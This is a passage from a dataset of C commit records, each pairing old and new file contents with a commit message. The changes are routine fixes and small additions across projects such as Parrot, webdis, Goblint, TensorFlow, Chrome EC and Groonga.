~~~~~~~~~~~~~~~~~^~~\n---\n","lang":"C","license":"mit","repos":"omf2097\/openomf,omf2097\/openomf,omf2097\/openomf"}
{"commit":"b62006060ff1b9079f7d4a6771b6079a34399c83","old_file":"include\/parrot\/trace.h","new_file":"include\/parrot\/trace.h","old_contents":"\/* trace.h\n *  Copyright: (When this is determined...it will go here)\n *  CVS Info\n *     $Id$\n *  Overview:\n *     Tracing support for runops_cores.c.\n *  Data Structure and Algorithms:\n *  History:\n *  Notes:\n *  References:\n *\/\n\n#ifndef PARROT_TRACE_H_GUARD\n#define PARROT_TRACE_H_GUARD\n\n#include \"parrot\/parrot.h\"\n\nvoid trace_op_dump(struct Parrot_Interp *interpreter, opcode_t *code_start,\n                   opcode_t *pc);\n\nvoid trace_op(struct Parrot_Interp *interpreter, opcode_t *code_start,\n              opcode_t *code_end, opcode_t *pc);\n\nvoid trace_op_b0(struct Parrot_Interp *interpreter, opcode_t *code_start,\n                 opcode_t *pc);\n\nvoid trace_op_b1(struct Parrot_Interp *interpreter, opcode_t *code_start, \n                 opcode_t *code_end, code_t *pc);\n\n#endif\n\n\/*\n * Local variables:\n * c-indentation-style: bsd\n * c-basic-offset: 4\n * indent-tabs-mode: nil \n * End:\n *\n * vim: expandtab shiftwidth=4:\n*\/\n","new_contents":"\/* trace.h\n *  Copyright: (When this is determined...it will go here)\n *  CVS Info\n *     $Id$\n *  Overview:\n *     Tracing support for runops_cores.c.\n *  Data Structure and Algorithms:\n *  History:\n *  Notes:\n *  References:\n *\/\n\n#ifndef PARROT_TRACE_H_GUARD\n#define PARROT_TRACE_H_GUARD\n\n#include \"parrot\/parrot.h\"\n\nvoid trace_op_dump(struct Parrot_Interp *interpreter, opcode_t *code_start,\n                   opcode_t *pc);\n\nvoid trace_op(struct Parrot_Interp *interpreter, opcode_t *code_start,\n              opcode_t *code_end, opcode_t *pc);\n\nvoid trace_op_b0(struct Parrot_Interp *interpreter, opcode_t *code_start,\n                 opcode_t *pc);\n\nvoid trace_op_b1(struct Parrot_Interp *interpreter, opcode_t *code_start, \n                 opcode_t *code_end, opcode_t *pc);\n\n#endif\n\n\/*\n * Local variables:\n * c-indentation-style: bsd\n * c-basic-offset: 4\n * indent-tabs-mode: nil \n * End:\n *\n * vim: expandtab shiftwidth=4:\n*\/\n","subject":"Fix a typo in the argument type.","message":"Fix a typo in the argument type.\n\nPatch from <daniel.ritz@gmx.ch>\n\n\ngit-svn-id: 6e74a02f85675cec270f5d931b0f6998666294a3@1106 d31e2699-5ff4-0310-a27c-f18f2fbe73fe\n","lang":"C","license":"artistic-2.0","repos":"ashgti\/parrot,ashgti\/parrot,ashgti\/parrot,ashgti\/parrot,ashgti\/parrot,ashgti\/parrot,ashgti\/parrot"}
{"commit":"827a95e884addadb038b85f18890225c9f61943a","old_file":"formats\/custom-type.c","new_file":"formats\/custom-type.c","old_contents":"#include \"custom-type.h\"\n#include \"cmd.h\"\n#include \"common.h\"\n\n#include <string.h>\n#include <hiredis\/hiredis.h>\n#include <hiredis\/async.h>\n\nvoid\ncustom_type_reply(redisAsyncContext *c, void *r, void *privdata) {\n\n\tredisReply *reply = r;\n\tstruct cmd *cmd = privdata;\n\t(void)c;\n\n\tif(reply == NULL) {\n\t\tevhttp_send_reply(cmd->rq, 404, \"Not Found\", NULL);\n\t\treturn;\n\t}\n\n\tif(cmd->mime) { \/* use the given content-type, but only for strings *\/\n\t\tswitch(reply->type) {\n\n\t\t\tcase REDIS_REPLY_NIL: \/* or nil values *\/\n\t\t\t\tformat_send_reply(cmd, \"\", 0, cmd->mime);\n\t\t\t\treturn;\n\n\t\t\tcase REDIS_REPLY_STRING:\n\t\t\t\tformat_send_reply(cmd, reply->str, reply->len, cmd->mime);\n\t\t\t\treturn;\n\t\t}\n\t}\n\n\t\/* couldn't make sense of what the client wanted. *\/\n\tevhttp_send_reply(cmd->rq, 400, \"Bad request\", NULL);\n\tcmd_free(cmd);\n}\n\n","new_contents":"#include \"custom-type.h\"\n#include \"cmd.h\"\n#include \"common.h\"\n\n#include <string.h>\n#include <hiredis\/hiredis.h>\n#include <hiredis\/async.h>\n\nvoid\ncustom_type_reply(redisAsyncContext *c, void *r, void *privdata) {\n\n\tredisReply *reply = r;\n\tstruct cmd *cmd = privdata;\n\t(void)c;\n\tchar int_buffer[50];\n\tint int_len;\n\n\tif(reply == NULL) {\n\t\tevhttp_send_reply(cmd->rq, 404, \"Not Found\", NULL);\n\t\treturn;\n\t}\n\n\tif(cmd->mime) { \/* use the given content-type, but only for strings *\/\n\t\tswitch(reply->type) {\n\n\t\t\tcase REDIS_REPLY_NIL: \/* or nil values *\/\n\t\t\t\tformat_send_reply(cmd, \"\", 0, cmd->mime);\n\t\t\t\treturn;\n\n\t\t\tcase REDIS_REPLY_STRING:\n\t\t\t\tformat_send_reply(cmd, reply->str, reply->len, cmd->mime);\n\t\t\t\treturn;\n\n\t\t\tcase REDIS_REPLY_INTEGER:\n\t\t\t\tint_len = sprintf(int_buffer, \"%lld\", reply->integer);\n\t\t\t\tformat_send_reply(cmd, int_buffer, int_len, cmd->mime);\n\t\t\t\treturn;\n\t\t}\n\t}\n\n\t\/* couldn't make sense of what the client wanted. *\/\n\tevhttp_send_reply(cmd->rq, 400, \"Bad request\", NULL);\n\tcmd_free(cmd);\n}\n\n","subject":"Add text output for integers.","message":"Add text output for integers.\n","lang":"C","license":"bsd-2-clause","repos":"nicolasff\/webdis,nicolasff\/webdis,cauchycui\/webdis,boothj5\/webdis,cauchycui\/webdis,cauchycui\/webdis,mrkeng\/webdis,mrkeng\/webdis,cauchycui\/webdis,mrkeng\/webdis,boothj5\/webdis,boothj5\/webdis,nicolasff\/webdis,boothj5\/webdis,nicolasff\/webdis,nicolasff\/webdis,mrkeng\/webdis"}
{"commit":"fb641024e72566afeea22f5ab0c546d596d3d780","old_file":"includes\/stdlib.c","new_file":"includes\/stdlib.c","old_contents":"#include <stddef.h>\n\nvoid qsort(void *ptr, size_t count, size_t size, int (*comp)(const void*, const void*)) {\n  \/\/ call all possible compares first, before invalidating array elements\n  for (size_t i = 0; i < count; i++) {\n    for (size_t j = 0; j < count; j++) {\n      comp(ptr + i * size, ptr + j * size);\n    }\n  }\n\n  \/\/ randomly swap all possible, invalidates array elements\n  for (size_t i = 0; i < count; i++) {\n    for (size_t j = 0; j < count; j++) {\n      int r; \/\/ rand\n      if (r) {\n        \/\/ swap elements byte-by-byte, no other way to do it, because we cannot allocate and copy\/swap abstract elements\n        for (size_t k = 0; k < size; k++) {\n          char *a = ptr + i * size + k;\n          char *b = ptr + j * size + k;\n          char c = *a;\n          *a = *b;\n          *b = c;\n        }\n      }\n    }\n  }\n\n  \/\/ array isn't actually sorted! just pretent calls for Goblint\n}\n","new_contents":"#include <stddef.h>\n\nvoid qsort(void *ptr, size_t count, size_t size, int (*comp)(const void*, const void*)) {\n  \/\/ call all possible compares first, before invalidating array elements\n  for (size_t i = 0; i < count; i++) {\n    for (size_t j = 0; j < count; j++) {\n      comp(ptr + i * size, ptr + j * size);\n    }\n  }\n\n  \/\/ randomly swap all possible, invalidates array elements\n  for (size_t i = 0; i < count; i++) {\n    for (size_t j = 0; j < count; j++) {\n      int r; \/\/ rand\n      if (r) {\n        \/\/ swap elements byte-by-byte, no other way to do it, because we cannot allocate and copy\/swap abstract elements\n        for (size_t k = 0; k < size; k++) {\n          char *a = ptr + i * size + k;\n          char *b = ptr + j * size + k;\n          char c = *a;\n          *a = *b;\n          *b = c;\n        }\n      }\n    }\n  }\n\n  \/\/ array isn't actually sorted! just pretent calls for Goblint\n}\n\n\nvoid* bsearch(const void *key, void *ptr, size_t count, size_t size, int (*comp)(const void*, const void*)) {\n  \/\/ linear search for simplicity\n  for (size_t i = 0; i < count; i++) {\n    const void *a = ptr + i * size;\n    if (comp(key, a) == 0) {\n      return a;\n    }\n  }\n\n  return NULL;\n}\n","subject":"Add analysis stub for bsearch","message":"Add analysis stub for bsearch\n","lang":"C","license":"mit","repos":"goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer"}
{"commit":"7b2be204701d4876a19d8aec30df87af3db8fc72","old_file":"tests\/tests.c","new_file":"tests\/tests.c","old_contents":"#include <check.h>\n\n\/*\n * Include test files below\n *\/\n\ntypedef Suite* (*suite_creator_f)(void);\n\nint\nmain(void) {\n    int nfailed = 0;\n\n    Suite* s;\n    SRunner* sr;\n\n    suite_creator_f iter;\n\n    \/*\n     * Insert suite creator functions here\n     *\/\n    suite_creator_f suite_funcs[] = {\n\n        NULL;\n    };\n\n    for (iter = suite_funcs[0]; *iter, iter++) {\n        s = iter();\n        sr = srunner_create(s);\n        srunner_run_all(sr, CK_NORMAL);\n        nfailed += srunner_ntests_failed(sr);\n        srunner_free(sr);\n    }\n\n    return (nfailed == 0) ? EXIT_SUCCESS : EXIT_FAILURE;\n\n}\n","new_contents":"#include <check.h>\n\n\/*\n * Include test files below\n *\/\n\ntypedef Suite* (*suite_creator_f)(void);\n\nint\nmain(void) {\n    int nfailed = 0;\n\n    Suite* s;\n    SRunner* sr;\n\n    suite_creator_f iter;\n\n    \/*\n     * Insert suite creator functions here\n     *\/\n    suite_creator_f suite_funcs[] = {\n\n        NULL\n    };\n\n    for (iter = suite_funcs[0]; *iter, iter++) {\n        s = iter();\n        sr = srunner_create(s);\n        srunner_run_all(sr, CK_NORMAL);\n        nfailed += srunner_ntests_failed(sr);\n        srunner_free(sr);\n    }\n\n    return (nfailed == 0) ? EXIT_SUCCESS : EXIT_FAILURE;\n\n}\n","subject":"Remove malicious semicolon from array constant","message":"Remove malicious semicolon from array constant\n","lang":"C","license":"lgpl-2.1","repos":"waysome\/libreset,waysome\/libreset"}
{"commit":"d24f8e8fef43aa9fc98ea7a5ae6eee0eed4cdc06","old_file":"drivers\/scsi\/qla2xxx\/qla_version.h","new_file":"drivers\/scsi\/qla2xxx\/qla_version.h","old_contents":"\/*\n * QLogic Fibre Channel HBA Driver\n * Copyright (c)  2003-2005 QLogic Corporation\n *\n * See LICENSE.qla2xxx for copyright and licensing details.\n *\/\n\/*\n * Driver version\n *\/\n#define QLA2XXX_VERSION      \"8.01.07-k6\"\n\n#define QLA_DRIVER_MAJOR_VER\t8\n#define QLA_DRIVER_MINOR_VER\t1\n#define QLA_DRIVER_PATCH_VER\t7\n#define QLA_DRIVER_BETA_VER\t0\n","new_contents":"\/*\n * QLogic Fibre Channel HBA Driver\n * Copyright (c)  2003-2005 QLogic Corporation\n *\n * See LICENSE.qla2xxx for copyright and licensing details.\n *\/\n\/*\n * Driver version\n *\/\n#define QLA2XXX_VERSION      \"8.01.07-k7\"\n\n#define QLA_DRIVER_MAJOR_VER\t8\n#define QLA_DRIVER_MINOR_VER\t1\n#define QLA_DRIVER_PATCH_VER\t7\n#define QLA_DRIVER_BETA_VER\t0\n","subject":"Update version number to 8.01.07-k7.","message":"[SCSI] qla2xxx: Update version number to 8.01.07-k7.\n\nSigned-off-by: Andrew Vasquez <67840a4977006af7f584bdc4c86d7243c1629cad@qlogic.com>\nSigned-off-by: James Bottomley <407b36959ca09543ccda8f8e06721c791bc53435@SteelEye.com>\n","lang":"C","license":"mit","repos":"KristFoundation\/Programs,KristFoundation\/Programs,KristFoundation\/Programs,KristFoundation\/Programs,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,TeamVee-Kanas\/android_kernel_samsung_kanas,TeamVee-Kanas\/android_kernel_samsung_kanas,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas"}
{"commit":"e60d436c3fcd3a24a52ae7ef20307ec47bab3538","old_file":"tensorflow\/core\/distributed_runtime\/rpc\/grpc_remote_worker.h","new_file":"tensorflow\/core\/distributed_runtime\/rpc\/grpc_remote_worker.h","old_contents":"\/* Copyright 2016 The TensorFlow Authors. All Rights Reserved.\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n==============================================================================*\/\n\n#ifndef TENSORFLOW_CORE_DISTRIBUTED_RUNTIME_RPC_GRPC_REMOTE_WORKER_H_\n#define TENSORFLOW_CORE_DISTRIBUTED_RUNTIME_RPC_GRPC_REMOTE_WORKER_H_\n\n#include <memory>\n\n#include \"tensorflow\/core\/distributed_runtime\/rpc\/grpc_util.h\"\n#include \"tensorflow\/core\/lib\/core\/threadpool.h\"\n\nnamespace grpc {\nclass CompletionQueue;\n}\n\nnamespace tensorflow {\nclass WorkerCacheLogger;\nclass WorkerInterface;\n\nWorkerInterface* NewGrpcRemoteWorker(SharedGrpcChannelPtr channel,\n                                     ::grpc::CompletionQueue* completion_queue,\n                                     thread::ThreadPool* callback_threadpool,\n                                     WorkerCacheLogger* logger);\n\n}  \/\/ namespace tensorflow\n\n#endif  \/\/ TENSORFLOW_CORE_DISTRIBUTED_RUNTIME_RPC_GRPC_REMOTE_WORKER_H_\n","new_contents":"\/* Copyright 2016 The TensorFlow Authors. All Rights Reserved.\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n==============================================================================*\/\n\n#ifndef TENSORFLOW_CORE_DISTRIBUTED_RUNTIME_RPC_GRPC_REMOTE_WORKER_H_\n#define TENSORFLOW_CORE_DISTRIBUTED_RUNTIME_RPC_GRPC_REMOTE_WORKER_H_\n\n#include <memory>\n\n#include \"grpcpp\/completion_queue.h\"\n#include \"tensorflow\/core\/distributed_runtime\/rpc\/grpc_util.h\"\n#include \"tensorflow\/core\/lib\/core\/threadpool.h\"\n\nnamespace tensorflow {\nclass WorkerCacheLogger;\nclass WorkerInterface;\n\nWorkerInterface* NewGrpcRemoteWorker(SharedGrpcChannelPtr channel,\n                                     ::grpc::CompletionQueue* completion_queue,\n                                     thread::ThreadPool* callback_threadpool,\n                                     WorkerCacheLogger* logger);\n\n}  \/\/ namespace tensorflow\n\n#endif  \/\/ TENSORFLOW_CORE_DISTRIBUTED_RUNTIME_RPC_GRPC_REMOTE_WORKER_H_\n","subject":"Include what you use fixes.","message":"Include what you use fixes.\n\nRelying on transitive dependencies for what you are going to use is a bad idea because it can break on changes done by said transitive dependencies.\nThis CL adds necessary headers for accessing gRPC.\n\nPiperOrigin-RevId: 240629991\n","lang":"C","license":"apache-2.0","repos":"annarev\/tensorflow,aldian\/tensorflow,annarev\/tensorflow,sarvex\/tensorflow,aldian\/tensorflow,adit-chandra\/tensorflow,freedomtan\/tensorflow,adit-chandra\/tensorflow,gunan\/tensorflow,freedomtan\/tensorflow,tensorflow\/tensorflow,frreiss\/tensorflow-fred,gunan\/tensorflow,xzturn\/tensorflow,petewarden\/tensorflow,paolodedios\/tensorflow,paolodedios\/tensorflow,gautam1858\/tensorflow,tensorflow\/tensorflow,tensorflow\/tensorflow-experimental_link_static_libraries_once,gautam1858\/tensorflow,frreiss\/tensorflow-fred,ppwwyyxx\/tensorflow,renyi533\/tensorflow,ghchinoy\/tensorflow,chemelnucfin\/tensorflow,gunan\/tensorflow,ghchinoy\/tensorflow,alsrgv\/tensorflow,Intel-tensorflow\/tensorflow,tensorflow\/tensorflow-experimental_link_static_libraries_once,jhseu\/tensorflow,chemelnucfin\/tensorflow,DavidNorman\/tensorflow,ghchinoy\/tensorflow,Intel-Corporation\/tensorflow,yongtang\/tensorflow,gautam1858\/tensorflow,kevin-coder\/tensorflow-fork,tensorflow\/tensorflow-pywrap_tf_optimizer,aam-at\/tensorflow,tensorflow\/tensorflow-pywrap_tf_optimizer,annarev\/tensorflow,aldian\/tensorflow,karllessard\/tensorflow,alsrgv\/tensorflow,chemelnucfin\/tensorflow,cxxgtxy\/tensorflow,karllessard\/tensorflow,tensorflow\/tensorflow,sarvex\/tensorflow,xzturn\/tensorflow,DavidNorman\/tensorflow,renyi533\/tensorflow,tensorflow\/tensorflow-pywrap_saved_model,Intel-tensorflow\/tensorflow,davidzchen\/tensorflow,yongtang\/tensorflow,chemelnucfin\/tensorflow,tensorflow\/tensorflow-pywrap_saved_model,xzturn\/tensorflow,petewarden\/tensorflow,arborh\/tensorflow,renyi533\/tensorflow,aam-at\/tensorflow,frreiss\/tensorflow-fred,cxxgtxy\/tensorflow,jhseu\/tensorflow,frreiss\/tensorflow-fred,yongtang\/tensorflow,cxxgtxy\/tensorflow,tensorflow\/tensorflow-experimental_link_static_libraries_once,tensorflow\/tensorflow,ghchinoy\/tensorflow,xzturn\/tensorflow,kevin-coder\/tensorflow-fork,freedomtan\/tensorflow,alsrgv\/tensorflow,DavidNorman\/tensorflow,aam-at\/tensorflow,renyi533\/tensorflow,xzturn\/tensorflow,paolodedios\/tensorflow,sarvex\/tensorflow,arborh\/tensorflow,arborh\/tensorflow,kevin-coder\/tensorflow-fork,ppwwyyxx\/tensorflow,aldian\/tensorflow,tensorflow\/tensorflow-experimental_link_static_libraries_once,frreiss\/tensorflow-fred,arborh\/tensorflow,renyi533\/tensorflow,cxxgtxy\/tensorflow,tensorflow\/tensorflow-pywrap_saved_model,chemelnucfin\/tensorflow,cxxgtxy\/tensorflow,tensorflow\/tensorflow,gunan\/tensorflow,annarev\/tensorflow,petewarden\/tensorflow,davidzchen\/tensorflow,davidzchen\/tensorflow,frreiss\/tensorflow-fred,freedomtan\/tensorflow,Intel-Corporation\/tensorflow,tensorflow\/tensorflow-pywrap_saved_model,paolodedios\/tensorflow,karllessard\/tensorflow,jhseu\/tensorflow,tensorflow\/tensorflow-pywrap_saved_model,frreiss\/tensorflow-fred,karllessard\/tensorflow,petewarden\/tensorflow,alsrgv\/tensorflow,alsrgv\/tensorflow,jhseu\/tensorflow,arborh\/tensorflow,chemelnucfin\/tensorflow,aldian\/tensorflow,alsrgv\/tensorflow,ppwwyyxx\/tensorflow,annarev\/tensorflow,davidzchen\/tensorflow,Intel-tensorflow\/tensorflow,davidzchen\/tensorflow,ghchinoy\/tensorflow,alsrgv\/tensorflow,renyi533\/tensorflow,renyi533\/tensorflow,DavidNorman\/tensorflow,jhseu\/tensorflow,paolodedios\/tensorflow,ghchinoy\/tensorflow,gautam1858\/tensorflow,renyi533\/tensorflow,aldian\/tensorflow,chemelnucfin\/tensorflow,freedomtan\/tensorflow,ghchinoy\/tensorflow,karllessard\/tensorflow,aam-at\/tensorflow,Intel-tensorflow\/tensorflow,Intel-tensorflow\/tensorflow,tensorflow\/tensorflow-pywrap_tf_optimizer,davidzchen\/tensorflow,paolodedios\/tensorflow,sarvex\/tensorflow,Intel-Corporation\/tensorflow,arborh\/tensorflow,ppwwyyxx\/tensorflow,yongtang\/tensorflow,davidzchen\/tensorflow,frreiss\/tensorflow-fred,davidzchen\/tensorflow,sarvex\/tensorflow,gunan\/tensorflow,arborh\/tensorflow,kevin-coder\/tensorflow-fork,frreiss\/tensorflow-fred,ghchinoy\/tensorflow,kevin-coder\/tensorflow-fork,jhseu\/tensorflow,annarev\/tensorflow,kevin-coder\/tensorflow-fork,gautam1858\/tensorflow,annarev\/tensorflow,adit-chandra\/tensorflow,xzturn\/tensorflow,cxxgtxy\/tensorflow,annarev\/tensorflow,aldian\/tensorflow,kevin-coder\/tensorflow-fork,tensorflow\/tensorflow-experimental_link_static_libraries_once,freedomtan\/tensorflow,yongtang\/tensorflow,ghchinoy\/tensorflow,xzturn\/tensorflow,jhseu\/tensorflow,arborh\/tensorflow,gautam1858\/tensorflow,gautam1858\/tensorflow,renyi533\/tensorflow,frreiss\/tensorflow-fred,aam-at\/tensorflow,jhseu\/tensorflow,kevin-coder\/tensorflow-fork,xzturn\/tensorflow,kevin-coder\/tensorflow-fork,xzturn\/tensorflow,renyi533\/tensorflow,karllessard\/tensorflow,paolodedios\/tensorflow,cxxgtxy\/tensorflow,kevin-coder\/tensorflow-fork,jhseu\/tensorflow,karllessard\/tensorflow,tensorflow\/tensorflow-experimental_link_static_libraries_once,DavidNorman\/tensorflow,sarvex\/tensorflow,paolodedios\/tensorflow,kevin-coder\/tensorflow-fork,Intel-Corporation\/tensorflow,annarev\/tensorflow,gautam1858\/tensorflow,yongtang\/tensorflow,tensorflow\/tensorflow-pywrap_saved_model,davidzchen\/tensorflow,cxxgtxy\/tensorflow,tensorflow\/tensorflow-experimental_link_static_libraries_once,petewarden\/tensorflow,yongtang\/tensorflow,petewarden\/tensorflow,tensorflow\/tensorflow-experimental_link_static_libraries_once,yongtang\/tensorflow,paolodedios\/tensorflow,xzturn\/tensorflow,ppwwyyxx\/tensorflow,tensorflow\/tensorflow-pywrap_tf_optimizer,adit-chandra\/tensorflow,karllessard\/tensorflow,jhseu\/tensorflow,sarvex\/tensorflow,davidzchen\/tensorflow,davidzchen\/tensorflow,gunan\/tensorflow,karllessard\/tensorflow,gunan\/tensorflow,arborh\/tensorflow,yongtang\/tensorflow,chemelnucfin\/tensorflow,petewarden\/tensorflow,gunan\/tensorflow,petewarden\/tensorflow,alsrgv\/tensorflow,freedomtan\/tensorflow,renyi533\/tensorflow,xzturn\/tensorflow,annarev\/tensorflow,aam-at\/tensorflow,arborh\/tensorflow,arborh\/tensorflow,alsrgv\/tensorflow,Intel-Corporation\/tensorflow,aam-at\/tensorflow,tensorflow\/tensorflow,karllessard\/tensorflow,jhseu\/tensorflow,tensorflow\/tensorflow,petewarden\/tensorflow,freedomtan\/tensorflow,chemelnucfin\/tensorflow,aam-at\/tensorflow,davidzchen\/tensorflow,tensorflow\/tensorflow,tensorflow\/tensorflow-pywrap_tf_optimizer,Intel-tensorflow\/tensorflow,frreiss\/tensorflow-fred,tensorflow\/tensorflow-pywrap_saved_model,adit-chandra\/tensorflow,Intel-tensorflow\/tensorflow,tensorflow\/tensorflow-pywrap_saved_model,jhseu\/tensorflow,gautam1858\/tensorflow,Intel-Corporation\/tensorflow,tensorflow\/tensorflow-pywrap_saved_model,gunan\/tensorflow,DavidNorman\/tensorflow,xzturn\/tensorflow,renyi533\/tensorflow,ppwwyyxx\/tensorflow,tensorflow\/tensorflow-experimental_link_static_libraries_once,adit-chandra\/tensorflow,ghchinoy\/tensorflow,aam-at\/tensorflow,gautam1858\/tensorflow,DavidNorman\/tensorflow,aam-at\/tensorflow,paolodedios\/tensorflow,tensorflow\/tensorflow,adit-chandra\/tensorflow,DavidNorman\/tensorflow,paolodedios\/tensorflow,alsrgv\/tensorflow,adit-chandra\/tensorflow,petewarden\/tensorflow,gautam1858\/tensorflow,chemelnucfin\/tensorflow,ghchinoy\/tensorflow,freedomtan\/tensorflow,gunan\/tensorflow,adit-chandra\/tensorflow,Intel-Corporation\/tensorflow,gunan\/tensorflow,gautam1858\/tensorflow,karllessard\/tensorflow,adit-chandra\/tensorflow,DavidNorman\/tensorflow,DavidNorman\/tensorflow,ghchinoy\/tensorflow,ppwwyyxx\/tensorflow,adit-chandra\/tensorflow,tensorflow\/tensorflow-experimental_link_static_libraries_once,DavidNorman\/tensorflow,Intel-tensorflow\/tensorflow,ppwwyyxx\/tensorflow,DavidNorman\/tensorflow,gunan\/tensorflow,aam-at\/tensorflow,adit-chandra\/tensorflow,freedomtan\/tensorflow,ppwwyyxx\/tensorflow,aam-at\/tensorflow,ppwwyyxx\/tensorflow,tensorflow\/tensorflow-pywrap_tf_optimizer,tensorflow\/tensorflow-pywrap_tf_optimizer,freedomtan\/tensorflow,aldian\/tensorflow,arborh\/tensorflow,tensorflow\/tensorflow,Intel-tensorflow\/tensorflow,chemelnucfin\/tensorflow,tensorflow\/tensorflow,tensorflow\/tensorflow-pywrap_tf_optimizer,tensorflow\/tensorflow-pywrap_saved_model,yongtang\/tensorflow,ppwwyyxx\/tensorflow,Intel-tensorflow\/tensorflow,petewarden\/tensorflow,sarvex\/tensorflow,tensorflow\/tensorflow-pywrap_tf_optimizer,Intel-Corporation\/tensorflow,tensorflow\/tensorflow-pywrap_tf_optimizer,petewarden\/tensorflow,freedomtan\/tensorflow,tensorflow\/tensorflow-pywrap_tf_optimizer,Intel-tensorflow\/tensorflow,alsrgv\/tensorflow,ppwwyyxx\/tensorflow,chemelnucfin\/tensorflow,yongtang\/tensorflow,frreiss\/tensorflow-fred,tensorflow\/tensorflow-experimental_link_static_libraries_once,alsrgv\/tensorflow,annarev\/tensorflow,tensorflow\/tensorflow-pywrap_saved_model"}
{"commit":"cb3e0ca7865d920bd89997046641b48c040e2a36","old_file":"chip\/stm32\/config-stm32f05x.h","new_file":"chip\/stm32\/config-stm32f05x.h","old_contents":"\/* Copyright 2015 The Chromium OS Authors. All rights reserved.\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n\n\/* Memory mapping *\/\n#define CONFIG_FLASH_SIZE (64 * 1024)\n#define CONFIG_FLASH_BANK_SIZE  0x1000\n#define CONFIG_FLASH_ERASE_SIZE 0x0800  \/* erase bank size *\/\n#define CONFIG_FLASH_WRITE_SIZE 0x0002  \/* minimum write size *\/\n\n\/* No page mode on STM32F, so no benefit to larger write sizes *\/\n#define CONFIG_FLASH_WRITE_IDEAL_SIZE 0x0002\n\n#define CONFIG_RAM_BASE         0x20000000\n#define CONFIG_RAM_SIZE         0x00002000\n\n\/* Number of IRQ vectors on the NVIC *\/\n#define CONFIG_IRQ_COUNT 32\n\n\/* Reduced history because of limited RAM *\/\n#undef CONFIG_CONSOLE_HISTORY\n#define CONFIG_CONSOLE_HISTORY 3\n","new_contents":"\/* Copyright 2015 The Chromium OS Authors. All rights reserved.\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n\n\/* Memory mapping *\/\n#define CONFIG_FLASH_SIZE (64 * 1024)\n#define CONFIG_FLASH_BANK_SIZE  0x1000\n#define CONFIG_FLASH_ERASE_SIZE 0x0400  \/* erase bank size *\/\n#define CONFIG_FLASH_WRITE_SIZE 0x0002  \/* minimum write size *\/\n\n\/* No page mode on STM32F, so no benefit to larger write sizes *\/\n#define CONFIG_FLASH_WRITE_IDEAL_SIZE 0x0002\n\n#define CONFIG_RAM_BASE         0x20000000\n#define CONFIG_RAM_SIZE         0x00002000\n\n\/* Number of IRQ vectors on the NVIC *\/\n#define CONFIG_IRQ_COUNT 32\n\n\/* Reduced history because of limited RAM *\/\n#undef CONFIG_CONSOLE_HISTORY\n#define CONFIG_CONSOLE_HISTORY 3\n","subject":"Use correct erase block size of 1kB","message":"stm32f05x: Use correct erase block size of 1kB\n\nChange erase block size to the correct 1kB.\n\nBUG=chrome-os-partner:41959\nBRANCH=none\nTEST=with following CL, test software sync to PD MCU on\nglados.\n\nChange-Id: I6252e6344e50f00249ab105a90febd15599c936f\nSigned-off-by: Alec Berg <1a4429eeda29095a12e19a73405f80f5b7f37a63@chromium.org>\nReviewed-on: https:\/\/chromium-review.googlesource.com\/307042\nReviewed-by: Vincent Palatin <70a9964ec8fd10b0b08fcc8623c2add25ddf99ac@chromium.org>\n","lang":"C","license":"bsd-3-clause","repos":"coreboot\/chrome-ec,coreboot\/chrome-ec,akappy7\/ChromeOS_EC_LED_Diagnostics,coreboot\/chrome-ec,akappy7\/ChromeOS_EC_LED_Diagnostics,coreboot\/chrome-ec,akappy7\/ChromeOS_EC_LED_Diagnostics,coreboot\/chrome-ec,akappy7\/ChromeOS_EC_LED_Diagnostics,akappy7\/ChromeOS_EC_LED_Diagnostics,coreboot\/chrome-ec"}
{"commit":"5df51532660f881a1c5f1122cd52410559780f17","old_file":"benchmark\/bench-result-set-raw.c","new_file":"benchmark\/bench-result-set-raw.c","old_contents":"","new_contents":"\/*\n  Copyright (C) 2015-2019  Sutou Kouhei <kou@clear-code.com>\n\n  This library is free software; you can redistribute it and\/or\n  modify it under the terms of the GNU Lesser General Public\n  License version 2.1 as published by the Free Software Foundation.\n\n  This library is distributed in the hope that it will be useful,\n  but WITHOUT ANY WARRANTY; without even the implied warranty of\n  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n  Lesser General Public License for more details.\n\n  You should have received a copy of the GNU Lesser General Public\n  License along with this library; if not, write to the Free Software\n  Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301  USA\n*\/\n\n#include <stdio.h>\n#include <stdlib.h>\n\n#include <groonga.h>\n\nint\nmain(int argc, char **argv)\n{\n  grn_rc rc;\n  grn_ctx ctx;\n  int n = 10000000;\n\n  rc = grn_init();\n  if (rc != GRN_SUCCESS) {\n    printf(\"failed to initialize Groonga: <%d>: %s\\n\",\n           rc, grn_get_global_error_message());\n    return EXIT_FAILURE;\n  }\n\n  grn_ctx_init(&ctx, 0);\n  grn_obj *db = grn_db_open(&ctx, \"db\/db\");\n  if (ctx.rc != GRN_SUCCESS) {\n    printf(\"failed to open database: <%d>: %s\\n\",\n           rc, grn_get_global_error_message());\n    return EXIT_FAILURE;\n  }\n\n  grn_obj *source_table = grn_ctx_get(&ctx, \"Sources\", -1);\n  grn_obj *result_set = grn_table_create(&ctx,\n                                         NULL, 0, NULL,\n                                         GRN_TABLE_HASH_KEY | GRN_OBJ_WITH_SUBREC,\n                                         source_table,\n                                         NULL);\n  grn_timeval start;\n  grn_timeval_now(&ctx, &start);\n  for (int i = 0; i < n; i++) {\n    grn_id id = i;\n    